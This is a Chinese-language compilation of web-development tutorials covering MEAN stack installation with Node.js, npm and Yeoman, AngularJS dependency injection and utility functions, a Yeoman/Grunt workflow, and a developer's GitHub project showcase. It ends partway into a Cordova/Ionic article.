可以在 JavaScript 中创建单一功能的函数，但与在 Java、Ruby 或 Perl 中不同，无法将多个函数打包到一个能够导入导出的内聚模块或 ”包“ 中。当然，使用 <script> 元素可以包含任意 JavaScript 源代码文件，但这种历史悠久的方法在两个关键方面缺少正确的模块声明。


首先，使用 <script> 元素包含的任意 JavaScript 将被加载到全局命名空间中。使用模块可以导入的函数被封装在一个局部命名的变量中。其次，同时更为关键的是，可以使用模块显式地声明依赖关系，而使用 <script> 元素则做不到这一点。结果，导入 Module A 时也会同时导入依赖的 Modules B 和 C。当应用程序变得复杂时，传递依赖关系管理很快将成为一种关键需求。


CommonJS


顾名思义，CommonJS 项目定义了一种通用的模块格式（包括其他浏览器之外的 JavaScript 规范）。Node.js 属于众多非官方的 CommonJS 实现之一。RingoJS （类似于 Node.js 的一种应用服务器，运行在 JDK 上的 Rhino/Nashorn JavaScript 运行时之上) 基于 CommonJS，流行的 NoSQL 持久存储 CouchDB 和 MongoDB 也是如此。


模块是用户衷心期盼的下一 JavaScript 主要版本 (ECMAScript 6) 的功能，但直到该版本被广泛接受之前，Node.js 目前使用的是它自己基于 CommonJS 规范的模块版本。


使用 require 关键字可以在脚本中包含 CommonJS 模块。例如，清单 4 是对 Node.js 主页上的 Hello World 脚本稍微进行修改后的版本。创建一个名为 example.js 的文件，并将清单 4 中的代码复制到其中。


清单 4. Node.js 中的 Hello World


var http = require('http');
var port = 9090;
http.createServer(responseHandler).listen(port);
console.log('Server running at http://127.0.0.1:' + port + '/');

function responseHandler(req, res){
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end('&lt;html&gt;&lt;body&gt;&lt;h1&gt;Hello World&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;');
}



输入 node example.js 命令运行新的 Web 服务器，然后在 Web 浏览器中访问 http://127.0.0.1:9090。


看一看清单 4 中的头两行。您很可能写过几百次（或几千次）像 var port = 9090; 这样的简单语句。这条语句定义了一个名为 port 的变量，并将数字 9090 赋值给它。第一行 (var http = require('http');) 用于导入一个 CommonJS 模块。它引入 http 模块并将它指派给一个局部变量。 and assigns it to a local variable. All of the corresponding modules that http 依赖的所有对应模块也同时被 require 语句导入。


example.js 后面的代码行：



	创建一个新的 HTTP 服务器。

	指定一个函数来处理响应。

	开始监听指定端口上进入的 HTTP 请求。



这样通过寥寥几行 JavaScript 代码，就可以在 Node.js 中创建了一个简单的 Web 服务器。在本系列随后的文章中您会看到，Express 将这个简单的例子被扩展用于处理更为复杂的路由，同时还将提供静态与动态生成的资源。


http 模块是 Node.js 安装的标准组件之一。其他标准的 Node.js 模块还支持文件 I/O，读取来自用户的命令行输入，处理底层的 TCP 和 UDP 请求等等。访问 Node.js 文档的 Modules 部分，查看标准模块的完整列表并了解它们的功能。


尽管模块列表内容十分丰富，但与可用的第三方模块列表相比，仍然是小巫见大巫。要访问它们，您需要熟悉另一个命令行实用工具：NPM。


什么是 NPM？


NPM 是 Node Packaged Modules 的简写。要查看包含超过 75,000 个公用第三方 Node 模块的清单，请访问 NPM 网站。在网站上搜索 yo 模块。图 2 显示了搜索结果。


图 2. yo 模块的详细情况





结果页面简要介绍了该模块（搭建 Yeoman 项目的 CLI 工具），并显示它在过去一天、一周和一月内被下载的次数、编写该模块的作者、它依赖于哪些其他的模块（如果存在）等内容。最重要的是，结果页面给出了安装该模块的命令行语法。


要从命令行获取关于 yo 模块的类似信息，请输入 npm info yo 命令。（如果您还不知道模块的官方名称，可以输入 npm search yo 来搜索名称中包含字符串 yo 的所有模块。）npm info 命令显示模块的 package.json 文件的内容。


了解 package.json


每个 Node.js 模块都必须关联一个格式良好的 package.json 文件，因此，熟悉此文件的内容是值得的。清单 5、清单 6 和清单 7 分三部分显示了 yo 模块的 package.json 文件的内容。


如清单 5 中所示，第一个元素通常是 name、description 和一个可用 versions 的 JSON 数组。


清单 5. package.json，第 1 部分


$ npm info yo

{ name: 'yo',
  description: 'CLI tool for scaffolding out Yeoman projects',
  'dist-tags': { latest: '1.1.2' },
  versions: 
   [ 
     '1.0.0',
     '1.1.0',
     '1.1.1',
     '1.1.2' ],



要安装一个模块的最新版本，请输入 npm install _package_ 命令。输入 npm install _package_@_version_ 可以安装一个特定的版本。


如清单 6 中所示，接下来将显示作者、维护者和可以直接查找源文件的 GitHub 库。


清单 6. package.json，第 2 部分


author: 'Chrome Developer Relations',
repository: 
 { type: 'git',
   url: 'git://github.com/yeoman/yo' },
homepage: 'http://yeoman.io',
keywords: 
 [ 'front-end',
   'development',
   'dev',
   'build',
   'web',
   'tool',
   'cli',
   'scaffold',
   'stack' ],



在这个例子中，还可以看到一个指向项目主页的链接和一个相关关键字的 JSON 数组。并非所有 package.json 文件中都会出现所有这些字段，但用户很少会抱怨与一个项目相关的元数据太多。


最后，清单 7 中列出了附有显式版本号的依赖关系。这些版本号符合主版本.次版本.补丁版本的常用模式，被称为 SemVer（语义版本控制）。


清单 7. package.json，第 3 部分


engines: { node: '&gt;=0.8.0', npm: '&gt;=1.2.10' },
dependencies: 
 { 'yeoman-generator': '~0.16.0',
   nopt: '~2.1.1',
   lodash: '~2.4.1',
   'update-notifier': '~0.1.3',
   insight: '~0.3.0',
   'sudo-block': '~0.3.0',
   async: '~0.2.9',
   open: '0.0.4',
   chalk: '~0.4.0',
   findup: '~0.1.3',
   shelljs: '~0.2.6' },
peerDependencies: 
 { 'grunt-cli': '~0.1.7',
   bower: '&gt;=0.9.0' },
devDependencies: 
 { grunt: '~0.4.2',
   mockery: '~1.4.0',
   'grunt-contrib-jshint': '~0.8.0',
   'grunt-contrib-watch': '~0.5.3',
   'grunt-mocha-test': '~0.8.1' },



这个 package.json 文件表明，它必须安装在 0.8.0 或更高版本的 Node.js 实例上。如果试图使用 npm install 命令安装一个不受支持的版本，那么安装将会失败。


SemVer 的快捷语法


在 清单 7 中，您会注意到，很多依赖关系版本中都有一个波浪符号 (~)。这个符号相当于 1.0.x（也属于有效语法），意思是 ”主版本必须是 1，次版本必须是 0，但您可以安装所能找到的最新补丁版本“。SemVer 中的这种隐含表达法意味着，补丁版本绝不会 对 API 做出重大修改（通常是对现有功能的缺陷修复），而次版本会在不打破现有功能的情况下引入另外的功能（比如新的函数调用）。


除了平台要求之外，这个 package.json 文件还提供几个依赖关系列表：



	
dependencies 部分列出了运行时的依赖关系。

	
devDependencies 部分列出了开发过程中需要的模块。

	
peerDependencies 部分支持作者定义项目之间的 ”对等“ 关系。这种功能通常用于指定基础项目与其插件之间的关系，但在这个例子中，它指出了包含 Yeoman 项目与 Yo 的其他两个项目（Grunt 与 Bower）。



如果在不指定模块名的情况下输入 npm install 命令，那么 npm 会访问当前目录中的 package.json 文件，并安装我刚刚讨论过的三部分内容中列出的所有依赖关系。


安装一个能正常工作的 MEAN 堆栈，下一步是安装 Yeoman 与相应的 Yeoman-MEAN 生成器。


安装 Yeoman


作为一名 Java 开发人员，我无法想象在没有诸如 Ant 或 Maven 这样的编译系统的情况下如何启动一个新项目。类似地，Groovy 和 Grails 开发人员依靠的是 Gant（Ant 的一种 Groovy 实现）或 Gradle。这些工具可以搭建起一个新的目录结构，动态下载依赖关系，并准备好将项目发布。


在纯粹的 Web 开发环境中，Yeoman 可以满足这种需要。Yeoman 是三种 Node.js 工具的集合，包括用于搭建的纯 JavaScript 工具 Yo，管理客户端依赖关系的 Bower，以及准备项目发布的 Grunt。通过分析 清单 7 可以得出这样的结论：安装 Yo 时也会安装它对等的 Grunt 和 Bower，这要感谢 package.json 中的 peerDependencies 部分。


通常，输入 npm install yo --save 命令可以安装 yo 模块并更新 package.json 文件中的 dependencies 部分。（npm install yo --save-dev 用于更新 devDependencies 部分。）但这三个对等的 Yeoman 模块算不上是特定于项目的模块，它们是命令行实用工具，而非运行时依赖关系。要全局安装一个 NPM 包，需要在 install 命令后增加一个 -g 标志。


在系统上安装 Yeoman：


npm install -g yo



在完成包安装后，输入 yo --version 命令来验证它已经在运行中。


Yeoman 与基础架构的所有余下部分都准备就绪后，便可以开始安装 MEAN 堆栈了。


安装 MeanJS


您可以手动安装 MEAN 堆栈的每一部分，但需要十分小心。谢天谢地，Yeoman 通过其 generators（生成器） 提供了一种更轻松的安装方式。


Yeoman 生成器就是引导一个新 Web 项目更轻松的方式。该生成器提供了基础包及其所有依赖关系。此外，它通常还会包含一个工作的编译脚本及其所有相关插件。通常，该生成器还包含一个示例应用程序，包括测试在内。


Yeoman 团队构建和维护了几个 "官方的" Yeoman 生成器。社区驱动的 Yeoman 生成器（超过 800 个）远远超过官方生成器的数量。


您将用于引导第一个 MEAN 应用程序的社区生成器被称为 MEAN.JS，这也在意料之中。


在 MEAN.JS 主页上，单击 Yo Generator 菜单选项或者直接访问 Generator 页面，图 3 中显示了其中的一部分。


图 3. MEAN.JS Yeoman 生成器





该页面上的说明指出要首先 Yeoman，这一点您已经完成。下一步是全局安装 MEAN.JS 生成器：


npm install -g generator-meanjs



生成器准备就绪后，便可以开始创建您的第一个 MEAN 应用程序了。创建一个名为 test 的目录，使用 cd 命令进入它，然后输入 yo meanjs 命令生成应用程序。回答最后两个问题，如清单 8 中所示。（您可以为开始四个问题提供自己的答案。）


清单 8. 使用 MEAN.JS Yeoman generator


$ mkdir test
$ cd test
$ yo meanjs

     _-----_
    |       |
    |--(o)--|   .--------------------------.
   `---------�  |    Welcome to Yeoman,    |
    ( _�U`_ )   |   ladies and gentlemen!  |
    /___A___\   '__________________________'
     |  ~  |
   __'.___.'__
 �   `  |� � Y `

You're using the official MEAN.JS generator.
[?] What would you like to call your application? 
Test
[?] How would you describe your application? 
Full-Stack JavaScript with MongoDB, Express, AngularJS, and Node.js
[?] How would you describe your application in comma separated key words?
MongoDB, Express, AngularJS, Node.js
[?] What is your company/author name? 
Scott Davis
[?] Would you like to generate the article example CRUD module? 
Yes
[?] Which AngularJS modules would you like to include? 
ngCookies, ngAnimate, ngTouch, ngSanitize



在回答最后一个问题后，您会看到一系列行为，这是 NPM 在下载所有服务器端的依赖关系（包括 Express）。NPM 完成后，Bower 将下载所有客户端的依赖关系（包括 AngularJS、Bootstrap 和 jQuery）。


至此，您已经安装了 EAN 堆栈（Express、AngularJS 和 Node.js) — 目前只缺少 M (MongoDB)。如果现在输入 grunt 命令，在没有安装 MongoDB 的情况下启动应用程序，您会看到类似于清单 9 中的一条错误消息。


清单 9. 试图在没有 MongoDB 的情况下启动 MeanJS


events.js:72
    throw er; // Unhandled 'error' event
          ^
Error: failed to connect to [localhost:27017]
    at null.&lt;anonymous&gt; 
(/test/node_modules/mongoose/node_modules/mongodb/lib/mongodb/connection/server.js:546:74)

[nodemon] app crashed - waiting for file changes before starting...



如果启动应用程序时看到这条错误消息，请按下 Ctrl+C 键停止应用程序。


为了使用新的 MEAN 应用程序，现在需要安装 MongoDB。


安装 MongoDB


MongoDB 是一种 NoSQL 持久性存储。它不是使用 JavaScript 编写的，也不是 NPM 包。必须单独安装它才能完成 MEAN 堆栈的安装。


访问 MongoDB 主页，下载平台特定的安装程序，并在安装 MongoDB 时接受所有默认选项。


安装完成时，输入 mongod 命令启动 MongoDB 守护程序。


MeanJS Yeoman 生成器已经安装了一个名为 Mongoose 的 MongoDB 客户端模块，您可以检查 package.json 文件来确认这一点。我将在后续的文章中详细介绍 MongoDB 和 Mongoose。


安装并运行 MongoDB 后，最终您可以运行您的 MEAN 应用程序并观察使用效果了。


运行 MEAN 应用程序


要启动新安装的 MEAN 应用程序，在运行 MeanJS Yeoman 生成器之前，一定要位于您创建的 test 目录中。在输入 grunt 命令时，输出内容应该如清单 10 中所示。


清单 10. 启动 MEAN.JS 应用程序


$ grunt

Running &quot;jshint:all&quot; (jshint) task
&gt;&gt; 46 files lint free.

Running &quot;csslint:all&quot; (csslint) task
&gt;&gt; 2 files lint free.

Running &quot;concurrent:default&quot; (concurrent) task
Running &quot;watch&quot; task
Waiting...
Running &quot;nodemon:dev&quot; (nodemon) task
[nodemon] v1.0.20
[nodemon] to restart at any time, enter `rs`
[nodemon] watching: app/views/**/*.* gruntfile.js server.js config/**/*.js app/**/*.js
[nodemon] starting `node --debug server.js`
debugger listening on port 5858

 NODE_ENV is not defined! Using default development environment

MEAN.JS application started on port 3000



jshint 和 csslint 模块（均由生成器进行安装）可以确保源代码在句法和语体上是正确的。nodemon 包监控文件系统中的代码修改情况，并在检测到有的情况下自动重启服务器，当开发人员需要快速而频繁地修改代码基础时，这可以极大地提高他们的效率。（nodemon 包只在开发阶段运行，要监测生产环境的变化，必须重新部署应用程序并重启 Node.js。）


按照控制台输出的提示，访问 http://localhost:3000 并运行您的新 MEAN 应用程序。


图 4 显示了 MEAN.JS 示例应用程序的主页。


图 4. MEAN.JS 示例应用程序的主页





菜单栏中单击 Signup 创建一个新的用户账号。现在填写 Sign-up 页面上的所有字段（如图 5 中所示），然后单击 Sign up。在后续的指南中，您可以通过 Facebook、Twitter 等启用 OAuth 登录


图 5. MEAN.JS 示例应用程序的 Sign-up 页面





现在，您的本地 MongoDB 实例中已经保存了一组用户证书，您可以开始撰写新的文章了。单击 Articles 菜单选项（当您登录之后才会显示出来），并创建一些示例文章。图 6 显示了 Articles 页面。


图 6. MeanJS 的文章页面





您已经创建了自己的第一个 MEAN 应用程序。欢迎加入！


结束语


在这篇指南中，您完成相当多的内容。安装 Node.js 并编写了第一个 Node.js 脚本。学习了模块并使用 NPM 安装了几个第三方模块。安装 Yeoman 并将它作为可靠的 Web 开发平台，其中包含一个搭建实用工具 (Yo)，一个编译脚本 (Grunt)，以及一个管理客户端依赖关系的实用工具 (Bower)。安装 MeanJS Yeoman 生成器，并使用它来创建第一个 MEAN 应用程序。安装 MongoDB 与 Node.js 客户端库 Mongoose。最后运行您的首个 MEAN 应用程序。


下一次，我们会详细了解示例应用程序的源代码，从而了解 MEAN 太阳系中的所有四颗行星 （MongoDB、Express、AngularJS 和 Node.js）是如何相互作用的。


下载


样例代码 wa-mean1src.zip


原文出处：精通 MEAN: MEAN 堆栈


 如来神掌 - 玩转 AngualrJS 的依赖注入

作者：dreamapplehappy

来源： 如来神掌 - 玩转 AngualrJS 的依赖注入



                    
先了解依赖


首先我们要了解什么是依赖；举个例子吧，比如你玩撸啊撸，你看到别人在玩小提莫，你觉得挺好玩，也想玩这个英雄，那么你就要去商店把这个英雄买下来，然后才可以使用这个英雄，拥有这个英雄就是你的依赖；简单的说，依赖就是你达到某个目的的必要条件。


依赖注入是一种软件的设计模式，它允许你移除软件组件之间的硬编码方式，替代的是通过依赖注入制造低耦合的组件不论是在编译阶段还是在运行阶段。


AngularJS有一个内在的依赖注入机制，使用AngularJS，你可以把你的App分成许多个可以重复使用的组件，当需要这些组件的时候，可以通过依赖注入把这些组件注入到你的App中去。


获得对依赖的控制权


通常一个对象有三种方法可以获得对其依赖的控制权



	在内部创建依赖：这种方法的弊端就是不方便以后的维护，使隔离变的异常困难。


	通过全局变量进行引用：这种方法的弊端就是污染了全局作用域，当代码量达到了一定程度后，容易出现问题。


	在需要的地方进行参数传递：这种方法不仅对测试很有用，而且不会污染全局变量，是很好的设计模式。AngularJS用的就是这种方法。




AngularJS依赖注入的方法


1. 通过函数的参数进行推断式注入声明


如果没有明确的声明，AngularJS会假定参数名称就是依赖的名称。因此，它会在内部调用函数对象的toString()方法，分析并提取出函数的参数列表，然后通过 $injector将这些参数注入进对象实例。


下面是代码示例：


HTML代码：


html<div ng-app>
    <div ng-controller="MyController">
        <p ng-cloak>{{clock.time | date: "yyyy-MM-dd hh:mm:ss"}}</p>
    </div>
</div>



JS代码：


javascriptfunction MyController($scope, $timeout) {
    var updateTime = function () {
        $scope.clock = {
            time: new Date()
        };
        $timeout(function () {
            $scope.clock.time = new Date();
            updateTime();
        }, 1000);
    }
    updateTime();
}



Online Code Part1


对上面代码的解释：


我们通过上面的JS代码在HTML页面中创建了一个可以自动更新的时间，


我们先不去关心如何实现时间更新的，先看看我们是如何进行依赖注入的；我们在MyController这个函数中设置的参数名称分别是$scope和$timeout所以在程序运行到这个函数的时候，AngularJS会在内部调用函数对象的toString()方法，假定参数的名称就是依赖的名称，分析并提取出函数的参数列表，然后通过$injector将这些参数注入进对象的实例。


需要注意的地方：



	与上述方法只在AngularJS的版本低于1.3.0时才可以成功运行。

	这个方法只适合未经过压缩和混淆的代码，因为AngularJS需要原始未经压缩的参数列表来进行解析。



2. 显式的注入声明


AngularJS提供了显式地方法来明确定义一个函数在被调用时需要用到的依赖关系。通过这种方法声明依赖，即使在源代码被压缩，参数名称发生改变的情况下依然可以正常工作。


下面是代码示例：


HTML代码：


html<div ng-app>
    <div ng-controller="MyController">
        <p ng-cloak>{{clock.time | date: "yyyy-MM-dd hh:mm:ss"}}</p>
    </div>
</div>



JS代码：


javascriptfunction MyController(s, t) {
    var updateTime = function () {
        s.clock = {
            time: new Date()
        };
        t(function () {
            s.clock.time = new Date();
            updateTime();
        }, 1000);
    }
    updateTime();
}
MyController["$inject"] = ["$scope", "$timeout"];



Online Code Part2


对上面代码的解释：


我们给我们的函数设置的参数名称分别是s和t，然后我们在后面使用MyController["$inject"] = ["$scope", "$timeout"];显式的将我们需要的依赖注入到MyController函数中；所以在MyController函数中，s代表$scope,t代表$timeout，是不是感觉不像听的那么难，我们继续我们的依赖注入。


需要注意的地方



	对于这种声明方式来讲，参数的顺序是十分重要的，因为$inject数组元素的顺序必须和注入的参数的顺序一一对应。



上面的JS代码还有一种写法如下所示：


JS代码：


javascriptvar MyControllerFactory = function MyController(s, t) {
    var updateTime = function () {
        s.clock = {
            time: new Date()
        };
        t(function () {
            s.clock.time = new Date();
            updateTime();
        }, 1000);
    }
    updateTime();
}
MyControllerFactory.$inject = ["$scope","$timeout"];



注意HTML代码中的ng-controller需要改为MyControllerFactory


Online Code Part3


行内注入声明


AngularJS提供的行内注入方法实际上是一种语法糖，它与前面的提到的通过$inject属性进行声明的原理是一样的，但是允许我们在函数定义的时候从行内将参数传入，这种方法方便，简单，而且避免了在定义的过程中使用临时变量。


下面是代码示例：


HTML代码：


html<div ng-app="MyApp">
    <div ng-controller="MyController">
        <p ng-cloak>{{clock.time | date: "yyyy-MM-dd hh:mm:ss"}}</p>
    </div>
</div>



JS代码：


javascriptangular.module("MyApp", [])
.controller("MyController", ["$scope", "$timeout", function (s, t) {
    var updateTime = function () {
        s.clock = {
            time: new Date()
        };
        t(function () {
            s.clock.time = new Date();
            updateTime();
        }, 1000);
    }
    updateTime();
}]);



Online Code Part4


需要注意的地方，行内声明的方式允许我们直接传入一个参数数组，而不是一个函数。数组的元素是字符串，它们代表的是可以被注入到对象中的依赖名字，最后一个参数就是依赖注入的目标函数对象本身。


到这里已经把AngularJS的依赖注入方法说得差不多了，不过还有一点，就是我们上面的方法都依赖一个服务，那就是$injector,我后面会和大家一起来探讨一下这个东西到底是什么东西。


还有如果你觉得我上面所说的有些地方是不对的，还望指出来，我们一起进步^_^


 前端自动化开发流程

作者：humingx

来源： 前端自动化开发流程



                    
安装 Node.js 和 npm


自行百度吧，我 Node.js 安装好久了, 最好还是看官方文档 。


安装 Yeoman


我这里很多时候都需要使用 sudo 身份运行 。


sudo npm install -g yo



检查是否安装成功 。


yo -v && bower -v && grunt --version



如果安装成功，应该打印出四个版本号 。





安装 angular 生成器


sudo npm install -g generator-angular



创建项目


mkdir myproject
cd myproject
sudo yo angular          // 以超级管理员的身份运行angular 生成器，避免用户权限问题 
// 下面的内容根据自身需要选择
No          // 不使用 Sass
Yes         // 使用 Bootstrap
enter       // 回车后等待它自己完成基本框架



过程如图:







应用目录：





启动服务器


grunt serve 





执行结果如图：同时将打开浏览器。










在终端按 Ctrl+c 可以退出。


测试项目


命令如下：


grunt test



执行结果如图：





上线前的优化


现在创建一个上线版本。 我们需要规范代码、跑测试、压缩JS和CSS代码（减少网络请求）、优化图片还有编译使用了预处理的代码，让我们的应用尽可能的精简。

非常神奇的是，上面的工作我们都能通过下面这行命令实现：


grunt 



这行命令会遍历Yeoman生成的Grunt任务和配置，然后创建出应用的过渡版本。过一会命令行中会显示出应用的结构和生成这个应用总共花费的时间，以及完成每一项任务所花费的时间。





此时我们应用的目录下就多了一个 dist 的文件夹。





如果想在本地查看这个应用的话，运行下面这行命令：


grunt serve:dist



它会生成你的项目并且启动本地的服务器。








参考资料


伯乐在线的翻译文章：Yeoman官方教程：用Yeoman和AngularJS做Web应用


 Github连击200天(1)——ShowCase

作者：phodal

来源： Github连击200天(1)——ShowCase



                    
今天是我连续泡在Github上的第200天，也是蛮高兴的，终于达了:





故事的背影是: 去年国庆完后要去印度接受毕业生培训——就是那个神奇的国度。但是在去之前已经在项目待了九个多月，项目上的挑战越来越少，在印度的时间又算是比较多。便给自己设定了一个长期的goal，即100~200天的longest streak。


或许之前你看到过一篇文章让我们连击，那时已然140天，只是还是浑浑噩噩。到了今天，渐渐有了一个更清晰地思路。


先让我们来一下ShowCase，然后再然后，下一篇我们再继续。


一些项目简述


上面说到的培训一开始是用Java写的一个网站，有自动测试、CI、CD等等。由于是内部组队培训，代码不能公开等等因素，加之做得无聊。顺手，拿Node.js +RESTify 做了Server，Backbone + RequireJS + jQuery 做了前台的逻辑。于是在那个日子里，也在维护一些旧的repo，如iot-coap、iot，前者是我拿到WebStorm开源License的Repo，后者则是毕业设计。


对于这样一个项目也需要有测试、自动化测试、CI等等。CI用的是Travics-CI。总体的技术构架如下:


技术栈


前台:



	Backbone 

	RequireJS

	Underscore

	Mustache

	Pure CSS



后台:



	RESTify



测试:



	Jasmine

	Chai

	Sinon

	Mocha

	Jasmine-jQuery



一直写到五星期的培训结束， 只是没有自动部署。想想就觉得可以用github-page的项目多好~~。


过程中还有一些有意思的小项目，如:


google map solr polygon 搜索


google map solr polygon 搜索





代码: https://github.com/phodal/gmap-solr


技能树


这个可以从两部分说起:


重构Skill Tree


原来的是



	Knockout

	RequireJS

	jQuery

	Gulp






代码: https://github.com/phodal/skillock


技能树Sherlock



	D3.js

	Dagre-D3.js

	jquery.tooltipster.js

	jQuery

	Lettuce

	Knockout.js

	Require.js






代码: https://github.com/phodal/sherlock


Django Ionic ElasticSearch 地图搜索






	ElasticSearch

	Django

	Ionic

	OpenLayers 3



代码: https://github.com/phodal/django-elasticsearch


简历生成器






	React

	jsPDF

	jQuery

	RequireJS

	Showdown



代码: https://github.com/phodal/resume


Nginx 大数据学习






	ElasticSearch

	Hadoop

	Pig



代码: https://github.com/phodal/learning-data/tree/master/nginx


其他


虽然技术栈上主要集中在Python、JavaScript，当然还有一些Ruby、Pig、Shell、Java的代码，只是我还是习惯用Python和JavaScript。一些用到觉得不错的框架:



	Ionic: 开始Hybird移动应用。

	Django: Python Web开发利器。

	Flask: Python Web开发小刀。

	RequireJS: 管理js依赖。

	Backbone: Model + View + Router。

	Angluar: ...。

	Knockout: MVV*。

	React: 据说会火。

	Cordova: Hybird应用基础。



还应该有:



	ElasticSearch

	Solr

	Hadoop

	Pig

	MongoDB

	Redis




 angularjs学习笔记—工具方法

作者：小俞

来源： angularjs学习笔记—工具方法



                    
angular.bind(self, fn, args)



	作用：返回一个新的函数，绑定这个函数的this指向self

	
参数：


	self：新函数的上下文对象

	fn：需要绑定的函数

	args：传递给函数的参数





	
返回值：this指向self的新函数


var obj = {
    name: 'xxx',
    print: function (country) {
        console.log(this.name + ' is form ' + country);
    }
};

var self = {
    name: 'yyy'
};


var bindFn = angular.bind(self, obj.print, 'China');
//var bindFn = angular.bind(self, obj.print, ['China']);

obj.print('American'); //$ xxx is form American
bindFn(); //$ yyy is form China







  注意：bind会根据你的参数类型来决定调用call或apply，所以args可以是一个个数据，也可以是一个数组哦。




angular.copy(source, [destination])



	作用：对象的深拷贝

	
参数：


	source：源对象

	destination：拷贝的对象





	
返回值：拷贝的对象


var obj = {
    name: 'xxx',
    age: 50
};


var copyObj = angular.copy(obj);

console.log(copyObj); //$ Object {name: "xxx", age: 50}






angular.equals(o1, o2)



	作用：正常比较和对象的深比较

	
参数：


	o1：比较的对象

	o2：比较的对象





	
返回值：boolean


angular.equals(3, 3); //$ true
angular.equals(NaN,NaN); //$ true
angular.equals({name:'xxx'},{name:'xxx'}); //$ true
angular.equals({name:'xxx'},{name:'yyy'}); //$ false






angular.extend(dst, src)



	作用：对象的拓展

	
参数：


	dst：拓展的对象

	src：源对象





	
返回值：拓展的对象


var dst = {name: 'xxx', country: 'China'};
var src = {name: 'yyy', age: 10};

angular.extend(dst, src);

console.log(src); //$ Object {name: "yyy", age: 10}
console.log(dst); //$ Object {name: "yyy", country: "China", age: 10}






angular.forEach(obj, iterator, [context])



	作用：对象的遍历

	
参数：


	obj：对象

	iterator：迭代函数

	context：迭代函数中上下文





	
返回值：obj


var obj = {name: 'xxx', country: 'China'};

angular.forEach(obj, function (value, key) {
    console.log(key + ':' + value);
});

//$ name:xxx
//$ country:China

var array = ['xxx', 'yyy'];

angular.forEach(array, function (item, index) {
    console.log(index + ':' + item + ' form ' + this.country);
}, obj);

//$ 0:xxx form China
//$ 1:yyy form China






angular.fromJson(string)



	作用：字符串转json对象

	
参数：


	string：字符串





	
返回值：json对象


var json = angular.fromJson('{"name":"xxx","age":34}');

console.log(json); //$ Object {name: "xxx", age: 34}






angular.toJson(json,pretty)



	作用：json对象转字符串

	
参数：


	json：json

	pretty：boolean number 控制字符串输出格式





	
返回值：字符串


angular.toJson({name:'xxx'});
//$ "{"name":"xxx"}"

angular.toJson({name:'xxx'},true);
//$ "{
//$    "name": "xxx"
//$ }"

angular.toJson({name:'xxx'},10);
//$ "{
//$            "name": "xxx"
//$ }"






angular.identity(value)



	作用：返回这个函数的第一个参数

	
参数：


	value：参数





	
返回值：第一个参数


console.log(angular.identity('xxx','yyy')); //$ xxx






angular.isArray(value)



	作用：判断一个数据是否是数组

	
参数：


	value：数据





	
返回值：boolean


angular.isArray(3); //$ false
angular.isArray([]); //$ true
angular.isArray([1, 2, 3]); //$ true
angular.isArray({name: 'xxx'}); //$ false






angular.isDate(value)



	作用：判断一个数据是否是Date类型

	
参数：


	value：数据





	
返回值：boolean


angular.isDate('2012-12-02'); //$ false
angular.isDate(new Date()); //$ true






angular.isDefined(value)



	作用：判断一个数据是否是defined类型

	
参数：


	value：数据





	
返回值：boolean


angular.isDefined(undefined) //$ false
angular.isDefined([]); //$ true






angular.isUndefined(value)



	作用：判断一个数据是否是undefined类型

	
参数：


	value：数据





	
返回值：boolean


angular.isUndefined(undefined) //$ true
angular.isUndefined([]); //$ false






angular.isFunction(value)



	作用：判断一个数据是否是函数

	
参数：


	value：数据





	
返回值：boolean


angular.isFunction(function(){}); //$ true
angular.isFunction(3); //$ false






angular.isNumber(value)



	作用：判断一个数据是否是Number类型

	
参数：


	value：数据





	
返回值：boolean


angular.isNumber(4); //$ true
angular.isNumber('xxx'); //$ false
angular.isNumber(new Number(4)); //$ false
angular.isNumber(Number(4)); //$ true






angular.isObject(value)



	作用：判断一个数据是否是对象

	
参数：


	value：数据





	
返回值：boolean


angular.isObject('xxx'); //$ false      
angular.isObject(null); //$ false
angular.isObject([]); //$ true
angular.isObject(function(){}); //$ false
angular.isObject({name:'xxx'}); //$ true






angular.isString(value)



	作用：判断一个数据是否是字符串

	
参数：


	value：数据





	
返回值：boolean


angular.isString(4); //$ false
angular.isString('xxx'); //$ true
angular.isString(new String('xxx')); //$ false
angular.isString(String('xxx')); //$ true






angular.lowercase(string)



	作用：将字符串大写字母变小写

	
参数：


	string：字符串





	
返回值：改变后的新字符串


var newString = angular.lowercase('XXyyZZ');
console.log(newString); //$ xxyyzz






angular.uppercase(string)



	作用：将字符串小写字母变大写

	
参数：


	string：字符串





	
返回值：改变后的新字符串


var newString = angular.uppercase('XXyyZZ');
console.log(newString); //$ XXYYZZ






angular.noop()



	
作用：空函数


var flag = false;    
flag ? console.log('xxx') : angular.noop();







 最佳（也许）实践：开始用Cordova + Ionic + AngularJS 开发你的 App

作者：pantao

来源： 最佳（也许）实践：开始用Cordova + Ionic + AngularJS 开发你的 App



                    
本文是一篇关于我本人在使用 Cordova + Ionic 以及 AngularJS 开发移动App的过程中的经验的总结，它不是一篇基础入门教程，而是和大家探讨一下关于如何更好的使用这些技术开发一个更好的App，文章会每天抽一点时间完成，如果您有什么问题或者想与我交流的经验，欢迎随时在本文下方评论或者邮件给我：54778899 [at] qq.com。



  声明：这是一篇中立的文章，我无意于挑起孰好孰坏的争论，这只是一篇经验分享文，至于为什么选择这种技术，因为我会这个，感觉还不错。




Cordova, Ionic, AngularJS 都是什么？


Cordova


Cordova是一款开放源代码的App开发框架，旨在让开发者使用HTML、Javascript、CSS等Web APIs开发跨平台的移动平台应用程序，其原名称之为 PhoneGap，Adobe 收购Nitobi 公司后，PhoneGap 商标保留，代码贡献给了 Apache 基金会，而Apache 将其命名为 Apache Callback，其后发布新版本时，定名为 Apache Cordova。


Cordova是一个行动设备的API接口集，利用JavaScript存取这些接口可以调用诸如摄影机、罗盘等硬件系统资源。配合上一些基于HTML5、CSS3技术的UI框架，如jQuery Mobile、Dojo Mobile或Sencha Touch，开发者得以快速地开发跨平台App而不需要编写任何的原生代码。



  注意到因为Cordova本身仍是一个原生程式，为App打包时依然需要用到这些系统平台的SDK。




本文将结合 Ionic 前端框架进行开发


Ionic


Ionic是一个新的、可以使用HTML5构建混合移动应用的用户界面框架，它自称为是“本地与HTML5的结合”。该框架提供了很多基本的移动用户界面范例，例如像列表（lists）、标签页栏（tab bars）和触发开关（toggle switches）这样的简单条目。它还提供了更加复杂的可视化布局示例，例如在下面显示内容的滑出式菜单。


Ionic宣称他们极度强调性能，并且通过限制DOM交互、完全移除jQuery以及使用像translate(z)这种特定的硬件加速的CSS滤镜触发移动设备上GPU——与由动力不足的移动浏览器提供的交互相比这种方式提供了硬件加速的交互——等方式使速度最大化。


AngularJS


